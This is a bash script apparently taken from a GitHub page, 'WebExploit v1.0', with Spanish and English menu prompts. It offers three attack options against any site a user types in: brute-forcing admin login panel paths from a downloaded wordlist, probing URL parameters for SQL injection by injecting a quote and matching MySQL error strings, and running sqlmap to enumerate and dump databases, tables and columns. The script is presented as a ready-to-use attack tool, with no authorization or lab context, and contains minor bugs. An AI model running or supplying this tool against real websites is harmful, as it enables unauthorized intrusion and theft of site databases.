-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathwebexploit.sh
432 lines (354 loc) · 9.77 KB
/
webexploit.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
#Author: Facu Salgado https://github.com/bytesalgado/
#instagram: @facukaku021
#twitter: @facukaku021
#Author 2: Angel Moreno channel YT: https://bit.ly/33HZ22e
trap ctrl_c INT
#colors
blanco="\033[1;37m"
violeta="\033[0;35m"
rojo="\033[1;31m"
verde="\033[1;32m"
amarillo="\033[1;33m"
violeta2="\033[0;35m"
azul="\033[1;34m"
nc="\e[0m"
#Opciones menu
a=$'\e[1;35mEncontrar Panel\e[01;32m'
b=$'\e[1;35mVerificar SQLI\e[01;32m'
c=$'\e[1;35mAttack SQLI\e[01;32m'
d=$'\e[1;35mUpdate Program\e[01;32m'
e=$'\e[1;35mExit Program\e[01;32m'
yes=$'\e[1;35mSi listar tablas\e[01;32m'
no=$'\e[1;35mNo back\e[01;32m'
yesa=$'\e[1;35mSi listar columnas\e[01;32m'
noa=$'\e[1;35mNo back\e[01;32m'
#directory verification
directory=$(pwd)
export PS3=$'\e[01;35m(*)\e[01;32m Elige una Opcion:\e[01;33m '
if which curl >/dev/null; then
sleep 0.25
else
sleep 0.25
echo -e "$verde(curl)$rojo No instalado.."
sleep 1
echo -e "$violeta2(*)$azul No puede usar el programa porque no tiene$rojo curl$azul instalado en su sistema."
sleep 2
echo
echo
echo -e "$violeta2(*)$azul puede instalarlo con$rojo apt-get install curl -y$azul o con$verde pkg install curl -y$nc"
exit
fi
function ctrl_c() {
clear
sleep 1
echo -e "$nc($azul*$nc)$verde Gracias por usar nuestro Script $red by Facu Salgado..$nc"
sleep 1
exit
}
function attacksql(){
echo
echo
echo -e "$violeta2(*)$azul Escriba la pagina con el parametro que intente inyectar"
echo -e "$violeta2(*)$azul Write the page with the parameter you are trying to inject"
sleep 4
echo
echo
echo -e "$violeta2(*)$azul Example:$rojo domain.com$violeta2/login.php?id=1"
echo -e "$violeta2(*)$azul Ejemplo:$rojo domain.com$violeta2/login.php?id=1"
echo
echo
printf "\e[01;35m Escriba la pagina:\e[01;32m "
read target
sleep 3
sqlmap -u $target --random-agent --dbs
echo -e "$violeta2(*)$azul Desea listar las tablas de alguna base de datos?"
echo
echo
select tablesconfirm in "$yes" "$no";
do
case $tablesconfirm in
$yes)
printf "\e[01;35m Escriba DB Name:\e[01;32m "
read dbtarget
echo -e "$violeta2(*)$azul Buscando tablas en la base de datos$red $dbtarget$azul please wait.."
sleep 3
sqlmap -u $target --random-agent -D $dbtarget --tables
echo
echo
echo -e "$violeta2(*)$azul Se encontraron las tablas correctamente.."
sleep 2
echo -e "$violeta2(*)$azul Desea dumpear las columnas de alguna tabla especifica?"
sleep 2
select columnconfirm in "$yesa" "$noa";
do
case $columnconfirm in
$yesa)
echo -e "$violeta2(*)$azul Ingrese el nombre de la tabla que desea dumpear.."
echo
echo
rintf "\e[01;35m Table Name:\e[01;32m "
read tabletarget
echo -e "$violeta2(*)$azul buscando columnas en la base de datos$red $dbtarget$azul Table:$red $tabletarget"
sleep 3
sqlmap -u $target --random-agent -D $dbtarget -T tabletarget --columns
echo -e "$violeta2(*)$azul Columnas dumpeadas.."
;;
$noa)
echo -e "$violeta2(*)$azul Ok volviendo al menu principal..$verde"
sleep 2
echo
echo
menuprincipal
;;
*)
echo -e "$rojo(ERROR)$azul $REPLY $verde Opcion no valida $verde"
;;
esac
done
;;
$no)
echo -e "$violeta2(*)$azul Ok volviendo al menu principal..$verde"
sleep 2
echo
echo
menuprincipal
;;
*)
echo -e "$rojo(ERROR)$azul $REPLY $verde Opcion no valida $verde"
;;
esac
done
sleep 3
echo
echo
echo -e "$violeta2(*)$azul A continuacion escriba el nombre de la base de datos que se haya encontrado"
echo
printf "\e[01;35m Escriba DB Name:\e[01;32m "
read dbname
sqlmap -u $target -D $dbname --tables
echo -e "$violeta2(*)$azul Ataque Finalizado.."
menuprincipal
}
function verificarsqli(){
sleep 1
echo -e "$violeta2(*)$azul Esta funcion le permitira saber si un sitio es vulnerable a$rojo SQL Injection"
sleep 3
echo
echo
echo -e "$violeta2(*)$azul Debe ingresar la pagina de la siguiente manera:"
echo -e "$violeta2(*)$azul You need to enter the page as follows:"
sleep 3
echo -e "$violeta2(*)$azul Ejemplo:$rojo dominio.com$violeta2/pagina.php?parametro=1"
echo -e "$violeta2(*)$azul Example:$rojo domain.com$violeta2/page.php?parameter=1"
sleep 3
echo
echo
echo -e "$violeta2(*)$azul Example:$rojo domain.com$violeta2/login.php?id=1"
echo -e "$violeta2(*)$azul Ejemplo:$rojo domain.com$violeta2/login.php?id=1"
sleep 2
echo
echo
printf "\e[01;35m Escriba la pagina:\e[01;32m "
read page
echo
echo -e "$purpura(*)$blue verificando$rojo SQLI VULNERABILITY$azul Please Wait.."
sleep 4
#solicitud GET al sitio
dork="'"
i2=0
sqli=$(curl -H "Accept: application/xml" -H "Content-Type: application/xml" --silent -X GET "$page$dork")
#Verification fallas SQL en la consulta GET
if echo "$sqli" | grep -q -i "You have an error in your SQL syntax"; then
i2=$((i2+1))
fi
if echo "$sqli" | grep -q -i "mysql_fetch_array"; then
i2=$((i2+1))
fi
if echo "$sqli" | grep -q -i "mysqli_fetch_array"; then
i2=$((i2+1))
fi
if echo "$sqli" | grep -q -i "mysql_num_rows"; then
i2=$((i2+1))
fi
if echo "$sqli" | grep -q -i "Warning: mysq"; then
i2=$((i2+1))
fi
#Verification Variable C si es mayor a 0 significa que es vulnerable
if [[ $i2 > 0 ]]
then
echo
echo
echo -e "$azul Pagina$violeta2 $page$verde Is vulnerable a$azul SQLI Injection$verde"
else
echo
echo
echo -e "$azul Pagina$violeta2 $page$rojo Is not vulnerable a$azul SQLI Injection$verde"
sleep 2
fi
menuprincipal
}
function obtenerpanel(){
#Verifica el archivo de directorios para el ataque
if [ -e $directory/directorys.txt ]
then
echo
else
curl https://raw.githubusercontent.com/byteSalgado/web-exploit/master/directorys.txt > directorys.txt
fi
echo -e "$violeta2(*)$azul Debe ingresar la pagina de la siguiente manera:"
echo -e "$violeta2(*)$azul You need to enter the page as follows:"
sleep 3
echo
echo
echo -e "$violeta2(*)$azul Ejemplo:$rojo dominio.com"
echo -e "$violeta2(*)$azul Example:$rojo domain.com"
sleep 3
echo
echo
echo -e "$violeta2(*)$azul No debe incluir subdirectorios como por ejemplo:$rojo dominio.com/hola/"
echo -e "$violeta2(*)$azul It should not include subdirectories such as:$rojo domain.com/hello/"
sleep 4
echo
echo
echo -e "$violeta2(*)$azul Tampoco debe incluir ninguna barra diagonal$rojo(/)"
echo -e "$violeta2(*)$azul It also must not include any forward slashes$rojo(/)"
sleep 4
echo
echo
printf "\e[01;35m Escriba la pagina/domain:\e[01;32m "
read pagina
while read line
do
#obtiene codigo de respuesta y lo guarda en la variable result
result=$(curl -s -I "$pagina/$line" | head -n 1 | awk '{print $2}')
#inicia variable en 0
i=0
#si el codigo respuesta es 200 o 302 le suma +1 a la variable
if [[ "$result" == "200" ]]; then
i=$((i+1))
elif [[ "$result" == "302" ]]; then
i=$((i+1))
fi
#si la variable es mayor a 0 significa que el panel fue encontrado.
if [[ $i > 0 ]]
then
echo -e "$azul Pagina$rojo $pagina$violeta2/$line$verde Found"
sleep 2
echo
echo -e "$azul Posible panel de la pagina: $verde$pagina/$line$verde"
sleep 3
echo
echo
break
else
echo -e "$azul Pagina$rojo $pagina$violeta2/$line$rojo Not Found"
fi
done < $directory/directorys.txt
}
function menuprincipal(){
echo
echo
select menuprincipal in "$a" "$b" "$c" "$d" "$e";
do
case $menuprincipal in
$a)
sleep 1
echo -e "$violeta2(*)$azul Este ataque intentara encontrar el panel de un sitio web."
sleep 2
obtenerpanel
;;
$b)
sleep 1
verificarsqli
;;
$c)
if which sqlmap >/dev/null; then
sleep 0.25
else
sleep 0.25
echo -e "$verde(sqlmap)$rojo No instalado.."
sleep 1
echo -e "$violeta2(*)$azul No puede usar esta funcion porque no tiene$rojo SQLMAP$azul instalado en su sistema.."
sleep 2
echo -e "$violeta2(*)$azul Para instalarlo ejecute$rojo apt-get install sqlmap -y$azul o$rojo pkg install sqlmap -y$verde"
menuprincipal
fi
echo
echo
echo -e "$violeta2(*)$azul recuerde que para hacer el ataque, antes puede intentar verificar si es vulnerable.."
echo -e "$violeta2(*)$azul remember that to do the attack, you can first try to check if you are vulnerable .."
sleep 5
echo
echo
echo -e "$violeta2(*)$azul Tambien recomendamos que intente encontrar su panel de control (Login panel)"
echo -e "$violeta2(*)$azul We also recommend that you try to find your control panel (Login panel)"
sleep 4
attacksql
;;
$d)
echo -e "$nc($azul*$nc)$verde Comprobando estado internet.. please wait.."
sleep 4
if ping -q -w 1 -c 1 google.com > /dev/null; then
echo -e "$nc($azul*$nc)$verde Actualizando programa.. en 5 segundos.."
sleep 5
if [ -e $directory/webexploit.sh ]
then
rm $directory/webexploit.sh
fi
curl https://raw.githubusercontent.com/byteSalgado/web-exploit/master/webexploit.sh > webexploit.sh
echo -e "$nc($azul*$nc)$verde Programa Actualizado.. vuelva a ejecutarlo nuevamente..$nc"
sleep 2
exit
else
echo
echo
echo -e "$nc($azul*$nc)$verde Internet no disponible.. saliendo..$nc"
exit
fi
;;
$e)
sleep 1
echo -e "$nc($azul*$nc)$verde Muchas gracias.. por usar nuestro script"
sleep 1
echo -e "$nc($azul*$nc)$verde Programa by:$rojo Facu Salgado$verde y$rojo Angel Moreno$nc"
exit
;;
*)
echo -e "$rojo(ERROR)$azul $REPLY $verde Opcion no valida $verde"
;;
esac
done
}
function bienvenida(){
clear
echo
echo
echo
echo -e "$violeta2(*)$rojo Author:$azul Facu Salgado"
sleep 1
echo -e "$violeta2(*)$rojo Instagram:$azul @facukaku021"
sleep 1
echo -e "$violeta2(*)$rojo Telegram:$azul @facukaku021"
sleep 2
echo
echo
echo -e "$violeta2(*)$rojo Author 2:$azul Angel Moreno"
sleep 1
echo -e "$violeta2(*)$rojo Channel YT:$azul Termux android y PC"
sleep 2
echo
echo -e "$violeta2"
read -n 1 -s -r -p " Presione Cualquier tecla para Continuar: "
clear
sleep 2
cowsay -f eyes "WebExploit v1.0" | lolcat
sleep 2
echo -e "$violeta2(*)$azul WebExploit $rojo v1.0"
sleep 1
echo -e "$violeta2(*)$azul Coded by: $rojo Facu Salgado"
sleep 1
echo -e "$violeta2(*)$azul Regalanos una estrella en Github, Thanks.$verde"
sleep 1
menuprincipal
}
bienvenida